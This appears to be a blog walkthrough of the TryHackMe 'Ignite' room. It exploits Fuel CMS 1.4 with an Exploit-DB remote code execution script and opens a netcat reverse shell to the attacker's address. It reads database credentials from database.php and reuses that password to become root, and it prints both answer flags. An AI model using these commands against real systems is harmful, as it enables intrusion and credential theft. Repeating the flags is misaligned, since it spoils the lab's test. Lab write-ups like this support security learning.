Post cover image

October 15, 2026

Ignite Walkthrough | TryHackMe

A hands-on walkthrough of exploiting Fuel CMS 1.4, gaining a reverse shell, and escalating from www-data to root.

By isheblank

5 min read

Introduction

Hey everyone!

In this walkthrough, I'll document my approach, beginning with service enumeration, identifying and exploiting Fuel CMS, retrieving the user flag, establishing a reverse shell, discovering database credentials, and finally escalating privileges to obtain the root flag.

Tools used: Nmap, SearchSploit, Python 3, Netcat, and a Linux terminal.

1. Enumeration

Scanning the target

I started by running an Nmap scan to identify open ports, running services, and available service information.

nmap -sC -sV 10.48.135.43

The scan returned the following results:

None

Nmap identified the web server as Apache 2.4.18 running on Ubuntu. Its HTTP script results also revealed the page title Welcome to FUEL CMS and a robots.txt entry pointing to /fuel/.

This indicated that the web application was the primary entry point for further investigation.

Exploring the website

I opened the target IP in my browser:

http://10.48.135.43

The homepage displayed Fuel CMS version 1.4. I also examined the application's setup documentation and the /fuel/ path identified during enumeration.

None

The setup documentation exposed the default FUEL administrator credentials:

Username: admin
Password: admin

These were useful observations during enumeration. However, the exploitation path documented in the following section uses the remote code execution vulnerability identified through SearchSploit.

None

2. Identifying the Vulnerability

After identifying Fuel CMS 1.4, I searched the local Exploit-DB database for known vulnerabilities.

searchsploit FUEL CMS 1.4

The search returned several results, including multiple remote code execution exploits. I selected exploit ID 50477, titled:

None

Fuel CMS 1.4.1 - Remote Code Execution (3)

The result associated the vulnerability with CVE-2018–16763.

To locate the exploit script, I ran:

searchsploit -p 50477

The output showed the following local path:

/usr/share/exploitdb/exploits/php/webapps/50477.py

I copied the script into my current working directory:

cp /usr/share/exploitdb/exploits/php/webapps/50477.py .

This allowed me to run the exploit directly from my Ignite directory.

None

3. Exploiting Fuel CMS

Executing the exploit

I launched the Python exploit against the target:

python3 50477.py -u http://10.48.135.43

'The script connected to the vulnerable application and displayed an interactive command prompt.

To confirm whether command execution worked, I entered:

whoami

The output identified the current account as:

www-data

This confirmed that I had obtained command execution as the web server account. At this point, I had a foothold on the target, but I had not yet obtained root privileges.

None

4. Retrieving the User Flag

With command execution available, I searched the filesystem for files whose names started with flag.

find / -name 'flag*' -type f 2>/dev/null

The results included:

/home/www-data/flag.txt
None

I then read the file:

cat /home/www-data/flag.txt

The user flag was:

6470e394cbf6dab6a91682cc8585059b

This matched the answer accepted by the TryHackMe room.

None

5. Establishing a Reverse Shell

Although the exploit provided command execution, I wanted a more practical interactive shell for further enumeration.

Starting the listener

On my attacking machine, I opened a Netcat listener on port 5555:

nc -lnvp 5555

Netcat began listening for an incoming connection.

None

Connecting back to the attacking machine

Through the exploit's command prompt, I executed:

nc -e /bin/sh 192.168.131.212 5555

Here, 192.168.131.212 was the attacking machine's VPN IP address shown in my screenshot. This address must be replaced with the correct VPN address for a different session.

None

The listener received a connection from the target, 10.48.135.43. I then ran:

whoami

The output was:

www-data

The reverse shell was working, and I could continue exploring the server through the connection.

None

Improving the shell

The initial reverse shell did not have a proper terminal, as indicated by the message about terminal access and job control.

I used Python to spawn Bash with a pseudo-terminal:

python -c 'import pty; pty.spawn("/bin/bash")'

I then pressed Ctrl+Z to suspend the Netcat session temporarily and ran the following command in my local terminal:

stty raw -echo; fg

After returning to the session and pressing Enter, I had a more usable interactive shell.

None

6. Discovering the Database Credentials

Exploring the web root

I moved to the web application's directory and listed its contents:

cd /var/www/html
ls -l

The directory contained the following items:

README.md
assets
composer.json
contributing.md
fuel
index.php
robots.txt

I inspected the README:

cat README.md

It confirmed that the application was Fuel CMS, a content management system based on CodeIgniter.

None

Investigating the Fuel CMS configuration

I moved into the Fuel CMS directory:

cd fuel
ls

The listing included:

application
data_backup
install
modules
codeigniter
index.php
licenses
scripts

Next, I inspected the application directory and its configuration files:

cd application
ls -l
cd config
ls -l
None

Among the files was database.php, which I read:

cat database.php
None

The database configuration contained these important values:

'hostname' => 'localhost',
'username' => 'root',
'password' => 'mememe',
'database' => 'fuel_schema',
'dbdriver' => 'mysqli',

The password was therefore mememe, and the configured database account was root.

This discovery provided a potential route to privilege escalation: the password recovered from an application configuration file could also work for the operating system's root account.

7. Privilege Escalation

Switching to root

I returned to the shell and attempted to switch to the root account:

su root

When prompted for the password, I entered:

mememe

The password was accepted. To verify the change in privileges, I ran:

whoami

The output was:

root

This confirmed successful privilege escalation.

The key finding was that the database password was reused for the root operating-system account, allowing me to move directly from the compromised web server account to root.

None

Retrieving the root flag

With root access, I navigated to the root user's home directory:

cd ~
ls

The directory contained:

root.txt

I read the file:

cat root.txt

The root flag was:

b9bbcb33e11b80be759c4e844862482d

This completed the room.

None

Conclusion

Ignite demonstrated how a vulnerable web application can become an entry point to a complete system compromise. After identifying Fuel CMS 1.4, I used the documented remote code execution exploit to obtain command execution as www-data and retrieve the user flag.

I then established a reverse shell, explored the application files, and discovered the database password in database.php. Because that password also worked for the root account, I was able to escalate privileges and retrieve the root flag.

My rating: 8/10